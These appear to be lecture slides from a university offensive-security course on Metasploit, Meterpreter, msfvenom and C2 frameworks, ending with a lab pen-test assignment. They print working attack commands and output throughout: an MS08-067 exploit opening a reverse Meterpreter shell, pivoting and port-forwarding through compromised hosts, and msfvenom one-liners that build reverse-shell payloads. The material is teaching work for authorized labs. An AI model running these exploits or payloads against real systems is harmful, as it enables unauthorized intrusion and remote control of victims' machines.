Carnegie Mellon University

Heinz College

INFORMATION SYSTEMS • PUBLIC POLICY • MANAGEMENT

Ethical Exploitation

Metasploit and other fun tools

Today You Learn to Hack

Exploits

- Come in all shapes and sizes
  - Some fit in a tweet
  - Others take an entire whitepaper to describe
- Exploits can be chained together to gain further access or permissions
  - Start with remote code execution
  - Use local privilege escalation (LPE) to gain admin rights
- Exploits can accomplish many tasks
  - Execute code (stored locally or remotely)
  - Dump contents of files
  - Change configurations
  - Manipulate memory

Metasploit Framework

- Released in 2004
- Open-source platform for developing, testing, and using exploit code
  - Extensible via modules:
    - Exploits
    - Auxiliary
    - Post
    - Payloads
    - Encoders
    - NOPS
    - Evasion

MSFconsole

- use exploit/windows/smb/ms08_067_netapi
- set RHOST [IP]
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST [IP]
- run

MSFCLI

- Metasploit Framework Command Line Interface – Deprecated (Jan 2015)

- Instead of Msfcli use the -x option in Msfconsole:
- **# msfconsole -x "use exploit/windows/**
- **smb/ms08_067_netapi; set RHOST [IP];**
- **set PAYLOAD windows/meterpreter/**
- **reverse_tcp; set LHOST [IP]; run"**

```
root@kali:~# msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.20.30.40 ;
set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.20.50.60 ; run"

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`."".'
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.___|__.-'

I love shells --egypt


       =[ metasploit v5.0.37-dev                          ]
+ -- --=[ 1909 exploits - 1073 auxiliary - 329 post       ]
+ -- --=[ 545 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

RHOST => 10.20.30.40
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.20.50.60
[*] Started reverse TCP handler on 10.20.50.60  :4444
[*] 10.20.30.40  :445 - Automatically detecting the target...
[*] 10.20.30.40  :445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.20.30.40  :445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.20.30.40  :445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.20.30.40
[*] Meterpreter session 1 opened (10.20.50.60  :4444 -> 10.20.30.40  :3511) at 2019-11-06 09:3
7:27 -0500

meterpreter >
```

MSFconsole Search

- **`> search`**
- Command can be used to determine if a desired exploit is already part of Metasploit.
- [TAB] is your friend.

```
msf > search -h
Usage: search [keywords]

Keywords:
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  bid       :  Modules with a matching Bugtraq ID
  cve       :  Modules with a matching CVE ID
  edb       :  Modules with a matching Exploit-DB ID
  name      :  Modules with a matching descriptive name
  osvdb     :  Modules with a matching OSVDB ID
  platform  :  Modules affecting this platform
  ref       :  Modules with a matching ref
  type      :  Modules of a specific type (exploit, auxiliary, or post)

Examples:
  search cve:2009 type:exploit app:client
```

MSFconsole Using an Exploit

- After finding an exploit, “use” it in Metasploit
- Changes the prompt to show you are now in the context of the exploit.
- **`> show options`** command displays the options for the selected exploit.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
```

MSFconsole Using an Exploit

- **`> show payloads`** command searches for payloads usable by the chosen exploit.

```
msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                          Disclosure Date  Rank    Description
   ----                                          ---------------  ----    -----------
   generic/custom                                                 normal  Custom Payload
   generic/debug_trap                                             normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                         normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                      normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                             normal  Generic x86 Tight Loop
   windows/adduser                                                normal  Windows Execute net user /ADD
   windows/dllinject/bind_hidden_ipknock_tcp                      normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   windows/dllinject/bind_hidden_tcp                              normal  Reflective DLL Injection, Hidden Bind TCP Stager
   windows/dllinject/bind_ipv6_tcp                                normal  Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   windows/dllinject/bind_ipv6_tcp_uuid                           normal  Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Sup
```

- **`> set payload`** command tells msfconsole which payload to use with our chosen exploit.

```
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) >
```

Show Payload Options

- **`> show options`** after selecting the payload gives us more options to fill out.

- RHOST = Remote Host (Target)
- RPORT = Remote Port
- LHOST = Local Host (Attacker)
- LPORT = Local Port

- **`> set`** command fills in the blanks
- **`> set RHOST 10.20.30.40`**

```
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thr
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
```

Exploiting the Target

- **`> exploit`** command kicks off the “magic”

```
msf exploit(ms08_067_netapi) > set rhost 10.20.30.40
rhost => 10.20.30.40
msf exploit(ms08_067_netapi) > set lhost 10.20.150.101
lhost => 10.20.150.101
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.20.150.101:4444
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (10.20.30.40:445).
msf exploit(ms08_067_netapi) >
```

- If it works, then you get a Meterpreter or shell command back.
- Else, you get a predictably unhelpful error (most of the time).

Exploiting Multiple Targets

- **`> set ExitOnSession false`** command allows you to exploit and track multiple targets
- **`> exploit -z`** command tells msfconcole to not interact with session after exploit

```
msf exploit(windows/smb/ms08_067_netapi) > help exploit
Usage: exploit [options]

Launches an exploitation attempt.

OPTIONS:

    -e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.
    -f        Force the exploit to run regardless of the value of MinimumRank.
    -h        Help banner.
    -j        Run in the context of a job.
    -n <opt>  The NOP generator to use.  If none is specified, NOP is used.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
    -t <opt>  The target index or name to use.  If none is specified, TARGET is used.
    -z        Do not interact with the session after successful exploitation.
msf exploit(windows/smb/ms08_067_netapi) >
```

Session Management

- **> sessions** command enables you to manage and access multiple exploited hosts.

- **> sessions –i <#>** command is used to connect to an active session.

```
msf  exploit(ms03_026_dcom) > sessions -i 5
[*] Starting interaction with 5...

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>
```

- **> background** command places an active session in the "background"

```
msf exploit(ms08_067_netapi) > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -K        Terminate all sessions
    -c <opt>  Run a command on the session given with -i, or all
    -h        Help banner
    -i <opt>  Interact with the supplied session ID
    -k <opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -t <opt>  Set a response timeout (default: 15)
    -u <opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List verbose fields


Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6
```

Meterpreter

- An advanced, dynamically extensible payload
- Uses in-memory DLL injection stagers
- Features command history, tab completion, channels, and more.
  - The '**help**' command, as may be expected, displays the Meterpreter help menu.

```
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...
```

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Meterpreter Pivoting

- Unable to directly connect to a subnet/IP address from your machine.
- But an already compromised host can.
  - Dual Homed (multiple NICs)
  - Firewall Rules
- **`> run autoroute`** command enable you to pivot through the host.

```
meterpreter > run autoroute -h
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
meterpreter > run autoroute -s 10.1.13.0/24
[*] Adding a route to 10.1.13.0/255.255.255.0...
[+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

Active Routing Table
====================

   Subnet            Netmask           Gateway
   ------            -------           -------
   10.1.13.0         255.255.255.0     Session 1

meterpreter >
```

https://www.offensive-security.com/metasploit-unleashed/pivoting/

Meterpreter portfwd

- **`> portfwd`** command is a pivoting technique which allows direct access to machines otherwise inaccessible from the attacking system.
- Enables you to forward TCP connections through a machine that can connect to an inaccessible machine.

```
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
     -L <opt>  The local host to listen on (optional).
     -h        Help banner.
     -l <opt>  The local port to listen on.
     -p <opt>  The remote port to connect on.
     -r <opt>  The remote host to connect on.
meterpreter >
```

```
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.194.191
[*] Local TCP relay created: 0.0.0.0:3389 <-> 172.16.194.191:3389
meterpreter >
```

https://www.offensive-security.com/metasploit-unleashed/portfwd/

Network Mapping and Port Scanning

`> run netenum -ps -r [IP Range]` command will perform a ping sweep to identify live hosts.

```
msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) > show options

Module options:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   RHOSTS                      yes       The target address range or CIDR identifier
   SHOST                       yes       Source IP Address
   SMAC                        yes       Source MAC Address
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    500              yes       The number of seconds to wait for new data
```

```
msf > search portscan

Matching Modules
================

   Name                                      Disclosure Date  Rank    Description
   ----                                      ---------------  ----    -----------
   auxiliary/scanner/natpmp/natpmp_portscan                   normal  NAT-PMP External Port Scanner
   auxiliary/scanner/portscan/ack                             normal  TCP ACK Firewall Scanner
   auxiliary/scanner/portscan/ftpbounce                       normal  FTP Bounce Port Scanner
   auxiliary/scanner/portscan/syn                             normal  TCP SYN Port Scanner
   auxiliary/scanner/portscan/tcp                             normal  TCP Port Scanner
   auxiliary/scanner/portscan/xmas                            normal  TCP "XMas" Port Scanner
```

MSFvenom

- Standalone payload generator

```
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] >var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
```

- Reverse Shell Examples:
- **# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=[your IP address] LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o payload.exe**
- **# msfvenom -p php/reverse_php lhost=[your IP address] lport=4444 -f raw > payload.php**

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Command and Control Frameworks

- Currently in a golden era of C2 Frameworks
- Allow multiple users to work together on the same compromised systems
- Helpful for automating post-exploitation tasks
- Vital for managing multiple compromised systems
- https://www.thec2matrix.com/matrix

Armitage

- A scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.

- Through one Metasploit instance, your team will:
  - Use the same sessions
  - Share hosts, captured data, and downloaded files
  - Communicate through a shared event log.
  - Run bots to automate red team tasks.
  - Avoid the “Hail Mary” option.

Empire

- Started as a PowerShell based post-exploitation framework
- Merged the project Empyre which used python-based agents
- Can target Windows, Linux, and Mac systems
- Integrates many post-exploitation tools which will be covered next week

- https://www.powershellempire.com/

Cobalt Strike

- The gold standard of C2 frameworks
- $$$$
- Under constant development adding new features and evading detection
- Adversary Emulation Framework
- Cracked versions are used by many ransomware crews

Famous Exploits

- MS08-067 – Remote code execution in RPC
- Shellshock – Remote code execution in bash
- BlueKeep – Remote code execution in RDP
- EternalBlue/MS17-010 – Remote code execution in SMB
- PrintSpooler – collection of vulnerabilities in Windows printer service
- Heartbleed – OpenSSL vulnerability that leaked memory contents

Assignment: PWN Challenge #1

- The objective of this challenge is to utilize the tools and techniques you have been taught to discover and exploit what you can within the authorized scope.
- To get credit for the assignment you will be required to create an assessment report.
  - Should contain your findings along with their associated impact.
  - Should create context for your customer (your instructors) so that informed decisions can be made to fix their network.
  - Should contain the proof hash values and include enough detail that your results could be reproduced by your instructors.
- Think of this assignment like a mini pen test engagement for which you need to deliver a report.
- The assignment deliverable is a report. See Canvas for more detailed rubric.

- Note: Vulnerabilities/findings may not show up in vulnerability scans.
- Hint – research and take advantage of the Linux ‘script’ command

EPT Final Environment

- In order to get some of the machines, it is required that other machines be compromised first.
- Each machine has proof documents that prove that the student has compromised the machine.
  - local.txt and proof.txt
  - These are typically found on the local account desktops and root (administrator) account desktops respectively
- Work together!
- **Starting Scope:**
- 10.20.160.0/24

EPT Final Environment Reverts

- Sometimes attacks may knock a service or even a whole system offline.
- If this happens, please post a message in your team chat on Discord and tag myself to get the system reverted to a usable state.
- You only get 5 free reverts in the Final Environment after that they cost a point.
- Reverting the Domain Controller requires reverting all the other Windows systems attached to it.
- Be Careful! Pretend this is a real client's network.

Optional Labs

- STEPfwd Labs
  - Metasploiting a Vulnerable Server and Pivot to a Workstation
- TryHackMe Labs
  - https://tryhackme.com/room/rpmetasploit
  - https://tryhackme.com/room/attackerkb
  - https://tryhackme.com/room/rppsempire
  - https://tryhackme.com/room/blue
  - https://tryhackme.com/room/ice